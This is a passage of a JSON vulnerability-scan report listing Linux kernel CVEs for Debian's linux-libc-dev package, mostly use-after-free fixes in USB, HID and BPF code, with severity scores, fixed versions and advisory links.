"https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64342" ], "PublishedDate": "2026-07-25T10:17:16.227Z", "LastModifiedDate": "2026-11-06T17:18:49.903Z" }, { "VulnerabilityID": "CVE-2026-64343", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64343", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ff6595e709797e65d068416ad146415cc861c81057db3a1ee0ae3d313c91702", "Title": "kernel: USB: ldusb: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: ldusb: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is\n non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64343", "https://git.kernel.org/linus/19bdfc7b3c179331eafa423d87e1336f43bbfeb8%20%287.2-rc3%29", "https://git.kernel.org/stable/c/02ca08fff74cf9b0a3c4d2cacde1c6edeeb95bb4", "https://git.kernel.org/stable/c/19bdfc7b3c179331eafa423d87e1336f43bbfeb8", "https://git.kernel.org/stable/c/2107a4fc8ff1cf1d52f416c1e5cc8e97413a5915", "https://git.kernel.org/stable/c/a3e794136ab5e3ad1e7019175a4b837aec86db4b", "https://git.kernel.org/stable/c/af59829e67e11ba2511a9f8e4b9111afc7d1f550", "https://git.kernel.org/stable/c/d8f69404e1d671326f86d378b9f5bfbd56490e9d", "https://git.kernel.org/stable/c/e5a9bdce4bfd3e2226b5f3df5fb8385d6935ee69", "https://git.kernel.org/stable/c/fc55923a972e715f9a27187b47d4920709e23d85", "https://kernelcve.org/list/?q=CVE-2026-64343", "https://linux.oracle.com/cve/CVE-2026-64343.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64343-c9e5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64343", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64343" ], "PublishedDate": "2026-07-25T10:17:16.353Z", "LastModifiedDate": "2026-11-06T17:18:50.073Z" }, { "VulnerabilityID": "CVE-2026-64344", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64344", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a7a343f6e616f0eb001e7652d25e7f6c4cfdc7df15d582ff3ad958ce6d0a21a5", "Title": "kernel: USB: idmouse: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: idmouse: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is\n non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64344", "https://git.kernel.org/linus/ff002c153f9722caece3983cc23dc4d9d4652cb4%20%287.2-rc3%29", "https://git.kernel.org/stable/c/31e75fed8f90cfea9f8285e7ed135b0e452bf872", "https://git.kernel.org/stable/c/54c2b7356b4aeea467f9fb13b85e9e036bc428cb", "https://git.kernel.org/stable/c/60fc5ef4ecea3e3d1fe556cecf53ddd13096ef09", "https://git.kernel.org/stable/c/8d53b14ad4ccbff6d306b3a39c812303f4a87d41", "https://git.kernel.org/stable/c/d0f61acb51a8c8f3fd41c303ddb7770cd83e7ed4", "https://git.kernel.org/stable/c/e88cff5fbaa629f3cab45c8b46f395d62c2eb515", "https://git.kernel.org/stable/c/f62622e947f82a3854a8502d09492ffbdeb252b4", "https://git.kernel.org/stable/c/ff002c153f9722caece3983cc23dc4d9d4652cb4", "https://kernelcve.org/list/?q=CVE-2026-64344", "https://linux.oracle.com/cve/CVE-2026-64344.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64344-3b7c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64344", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64344" ], "PublishedDate": "2026-07-25T10:17:16.487Z", "LastModifiedDate": "2026-11-06T17:18:50.247Z" }, { "VulnerabilityID": "CVE-2026-64346", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64346", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ada17afc9df2baafe33ccbbeda8a96f346fe2a4573bae91f3391aa5c9e69acf", "Title": "kernel: usb: gadget: udc: Fix use-after-free in gadget_match_driver", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: udc: Fix use-after-free in gadget_match_driver\n\nThe udc structure acts as the management structure for the gadget,\nbut their lifecycles are decoupled. A race condition exists where\nusb_del_gadget() frees the udc memory (e.g., via mode-switch work)\nwhile gadget_match_driver() concurrently accesses the freed udc memory\n(e.g., via configfs), causing a Use-After-Free (UAF) that triggers a\nNULL pointer dereference when the freed memory is zeroed:\n\n[39430.908615][ T1171] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[39430.911397][ T1171] pc : __pi_strcmp+0x20/0x140\n[39430.911441][ T1171] lr : gadget_match_driver+0x34/0x60\n...\n[39430.911890][ T1171] usb_gadget_register_driver_owner+0x50/0xf8\n[39430.911910][ T1171] gadget_dev_desc_UDC_store+0xf4/0x140\n[39430.931308][ T1171] configfs_write_iter+0xec/0x134\n\n[39430.957058][ T1171] Workqueue: events_freezable __dwc3_set_mode\n[39430.957287][ T1171] dwc3_gadget_exit+0x34/0x8c\n[39430.957304][ T1171] __dwc3_set_mode+0xc0/0x664\n\nFix this by ensuring the udc structure remains allocated until the\ngadget is released. To achieve this, introduce a new\nusb_gadget_release() routine to the core. When the gadget is added,\nusb_add_gadget() stores the gadget's release routine in the udc\nstructure and takes a reference to the udc. When the gadget is\nreleased, usb_gadget_release() drops the reference to the udc and\nthen calls the gadget's release routine.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64346", "https://git.kernel.org/linus/67e511d2989eb1c8c588b599ce2fcc6bb8e6f7ea%20%287.2-rc3%29", "https://git.kernel.org/stable/c/50eeb8e8a4f389efc91b93cff14a683e714ec194", "https://git.kernel.org/stable/c/54fa390aae393eb130f307a85562e3001cc39a52", "https://git.kernel.org/stable/c/67e511d2989eb1c8c588b599ce2fcc6bb8e6f7ea", "https://git.kernel.org/stable/c/7a5214dae906d9f58e07bc4995e8181ee74439f4", "https://git.kernel.org/stable/c/b52476a83d9e12df00765359d728a875b128bef1", "https://git.kernel.org/stable/c/d026f71df141c9b064ff32a78af5391a31ef75c2", "https://git.kernel.org/stable/c/f845852a5a8914277031f47d8de0f350fef52405", "https://kernelcve.org/list/?q=CVE-2026-64346", "https://linux.oracle.com/cve/CVE-2026-64346.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072517-CVE-2026-64346-7f7f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64346", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64346" ], "PublishedDate": "2026-07-25T10:17:16.757Z", "LastModifiedDate": "2026-11-06T17:18:50.437Z" }, { "VulnerabilityID": "CVE-2026-64348", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64348", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f67c2999100b14033cf75f48fa661c653660ba425850c94237119dcaf3bd7ee3", "Title": "kernel: usb: free iso schedules on failed submit", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: free iso schedules on failed submit\n\nEHCI and FOTG210 isochronous submits build an ehci_iso_sched before\nlinking the URB to the endpoint queue, and keep the staged schedule in\nurb-\u003ehcpriv until iso_stream_schedule() and the link helpers consume it.\nIf the controller is no longer accessible, or usb_hcd_link_urb_to_ep()\nfails, submit jumps to done_not_linked before that handoff happens and\nleaks the staged schedule still attached to urb-\u003ehcpriv.\n\nFree the staged schedule from done_not_linked when submit fails before\nthe URB is linked and clear urb-\u003ehcpriv after the free.\n\nThe bug was first flagged by an experimental analysis tool we are\ndeveloping for kernel memory-management bugs while analyzing\nv6.13-rc1. The tool is still under development and is not yet publicly\navailable. Manual inspection confirms that the bug is still\npresent in v7.1.1.\n\nAn x86_64 allyesconfig build showed no new warnings. As we do not have an\nEHCI host controller with a USB isochronous device to test with, no\nruntime testing was able to be performed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64348", "https://git.kernel.org/linus/b9399d25fbb34a05bbe76eeedd730f62ff2670e9%20%287.2-rc3%29", "https://git.kernel.org/stable/c/4bb88aee6b868cbf73bf453f62497802f5fe4769", "https://git.kernel.org/stable/c/6bc17a78a05671d303820224fb37ca339c1dc2cb", "https://git.kernel.org/stable/c/8890699eea19027ef6e4f9cbcf27cba5e789793f", "https://git.kernel.org/stable/c/ab12316c4639237cc9d50c80a0c6240f11fbba3f", "https://git.kernel.org/stable/c/b0d00d077f9738d215af9b50c74dffab7a1de19f", "https://git.kernel.org/stable/c/b9399d25fbb34a05bbe76eeedd730f62ff2670e9", "https://git.kernel.org/stable/c/be5004395dfd0b6ec310db359f887fa396fd0dd2", "https://linux.oracle.com/cve/CVE-2026-64348.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072517-CVE-2026-64348-48f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64348", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64348" ], "PublishedDate": "2026-07-25T10:17:17.04Z", "LastModifiedDate": "2026-11-06T17:18:50.79Z" }, { "VulnerabilityID": "CVE-2026-64352", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64352", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b3e4ae72c26ae3a2202110905af112913863b4ed37a2a991ae10a7b489811d10", "Title": "kernel: bpf: Allow LPM map access from sleepable BPF programs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Allow LPM map access from sleepable BPF programs\n\ntrie_lookup_elem() annotates its rcu_dereference_check() walks with\nonly rcu_read_lock_bh_held(). Because rcu_dereference_check(p, c)\nresolves to \"c || rcu_read_lock_held()\", this passes for XDP/NAPI and\nclassic RCU readers but fails for sleepable BPF programs, which enter\nvia __bpf_prog_enter_sleepable() and hold only rcu_read_lock_trace().\n\ntrie_update_elem() and trie_delete_elem() have the same problem in a\ndifferent form: they walk the trie with plain rcu_dereference(), which\nasserts rcu_read_lock_held() unconditionally. Both are reachable from\nsleepable BPF programs via the bpf_map_update_elem / bpf_map_delete_elem\nhelpers, and from the syscall path under classic rcu_read_lock(). In\nthe writer paths the trie is actually protected by trie-\u003elock (an\nrqspinlock taken across the walk); we never relied on the RCU read-side\nlock to keep nodes alive there.\n\nA sleepable LSM hook that ends up touching an LPM trie therefore\ntriggers lockdep on debug kernels:\n\n =============================\n WARNING: suspicious RCU usage\n 7.1.0-... Tainted: G E\n -----------------------------\n kernel/bpf/lpm_trie.c:249 suspicious rcu_dereference_check() usage!\n 1 lock held by net_tests/540:\n #0: (rcu_tasks_trace_srcu_struct){....}-{0:0},\n at: __bpf_prog_enter_sleepable+0x26/0x280\n Call Trace:\n dump_stack_lvl\n lockdep_rcu_suspicious\n trie_lookup_elem\n bpf_prog_..._enforce_security_socket_connect\n bpf_trampoline_...\n security_socket_connect\n __sys_connect\n do_syscall_64\n\nThis is lockdep-only -- no UAF, since Tasks Trace RCU does serialize\nagainst the trie's reclaim path -- but it spams the console once per\ndistinct callsite on every debug kernel running a sleepable BPF LSM\nthat touches an LPM trie, which is increasingly common.\n\nFor the lookup path, switch the rcu_dereference_check() annotation\nfrom rcu_read_lock_bh_held() to bpf_rcu_lock_held(), which accepts all\nthree contexts (classic, BH, Tasks Trace). Other map types already\nfollow this convention.\n\nFor trie_update_elem() and trie_delete_elem(), annotate the walks as\nrcu_dereference_protected(*p, 1) -- matching trie_free() in the same\nfile -- since trie-\u003elock is held across the walk. rqspinlock has no\nlockdep_map, so the predicate degenerates to '1' rather than\nlockdep_is_held(\u0026trie-\u003elock); the protection is real but not\nmachine-verifiable. trie_get_next_key() also uses bare\nrcu_dereference() but is reachable only from the BPF syscall, which\nholds classic rcu_read_lock() before dispatching, so it is left\nuntouched.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 1, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64352", "https://access.redhat.com/security/cve/CVE-2026-64352", "https://git.kernel.org/linus/2f884d371fafea137afea504d49ee4a7c8d7985b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2f884d371fafea137afea504d49ee4a7c8d7985b", "https://git.kernel.org/stable/c/304ca50582f0c047370f85e13caec456f78c9fcc", "https://git.kernel.org/stable/c/57454944737f3ad9a8703aecbbb79713b513a94b", "https://git.kernel.org/stable/c/9bfdf4b81b0e56d47bc6c46c34a46638be716695", "https://git.kernel.org/stable/c/bd6ad9a6b30498d845413e863fb95c6fab3babe3", "https://git.kernel.org/stable/c/ec662a8b2cde01e76b37ccd4b992d0342299e69c", "https://git.kernel.org/stable/c/f0967d4f1ba4323a3cb7dc8fdba74dd3a8caaf04", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-irmuomkifmqk.toml", "https://linux.oracle.com/cve/CVE-2026-64352.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072518-CVE-2026-64352-f0f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64352", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64352" ], "PublishedDate": "2026-07-25T10:17:17.547Z", "LastModifiedDate": "2026-11-06T17:18:51.143Z" }, { "VulnerabilityID": "CVE-2026-64362", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64362", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:34a29a71f55bb232c1fe9983317e083c601ad2c9a92e664448746de295670e9e", "Title": "kernel: HID: lg-g15: cancel pending work on remove to fix a use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: lg-g15: cancel pending work on remove to fix a use-after-free\n\nlg_g15_data is allocated with devm and holds a work item. The report\nhandlers schedule that work straight from device input.\nlg_g15_event() and lg_g15_v2_event() do it on the backlight cycle key,\nand lg_g510_leds_event() does it too. The worker dereferences the\nlg_g15_data back through container_of.\n\nThe driver had no remove callback and never cancelled the work. So if a\nreport scheduled the work and the keyboard was then unplugged, devres\nfreed lg_g15_data while the work was still pending or running, and the\nworker touched freed memory. This is a use-after-free. It is reachable\nas a race on device unplug.\n\nAdd a remove callback that cancels the work before devres frees the\nstate. g15-\u003ework is only initialized for the models that schedule it\n(G15, G15 v2, G510). The G13 and Z-10 leave it zeroed, so guard the\ncancel on g15-\u003ework.func to avoid cancelling a work that was never set\nup. The g15 NULL test mirrors the one already in lg_g15_raw_event().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64362", "https://git.kernel.org/linus/7705b4140d188ce22656f6e541ae7ef834c7e11a%20%287.2-rc3%29", "https://git.kernel.org/stable/c/33cd1a000daf929356aacf2b191d31714ff0615e", "https://git.kernel.org/stable/c/3b9a3919aac6977262f04d5365c0456877522a44", "https://git.kernel.org/stable/c/4aef9676c26dff8723b56834951cfc6b618f0986", "https://git.kernel.org/stable/c/4d0d51bc12d246accbfbb94de05d729c68c9b8fb", "https://git.kernel.org/stable/c/7705b4140d188ce22656f6e541ae7ef834c7e11a", "https://git.kernel.org/stable/c/8131f4226688c4be5f30874d167e44dab838eb09", "https://git.kernel.org/stable/c/acce9dee807f21184fff19ad17c8ed464247e7f7", "https://git.kernel.org/stable/c/dfc6e61f83113cc18346b6988f07271c0063357d", "https://kernelcve.org/list/?q=CVE-2026-64362", "https://linux.oracle.com/cve/CVE-2026-64362.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64362-041c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64362", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64362" ], "PublishedDate": "2026-07-25T10:17:18.82Z", "LastModifiedDate": "2026-11-06T17:18:51.677Z" }, { "VulnerabilityID": "CVE-2026-64363", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64363", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb16f70af3dfdb747ed35521e79c054f61bfba21ea4ecdff6901808ccb34e094", "Title": "kernel: HID: appleir: fix UAF on pending key_up_timer 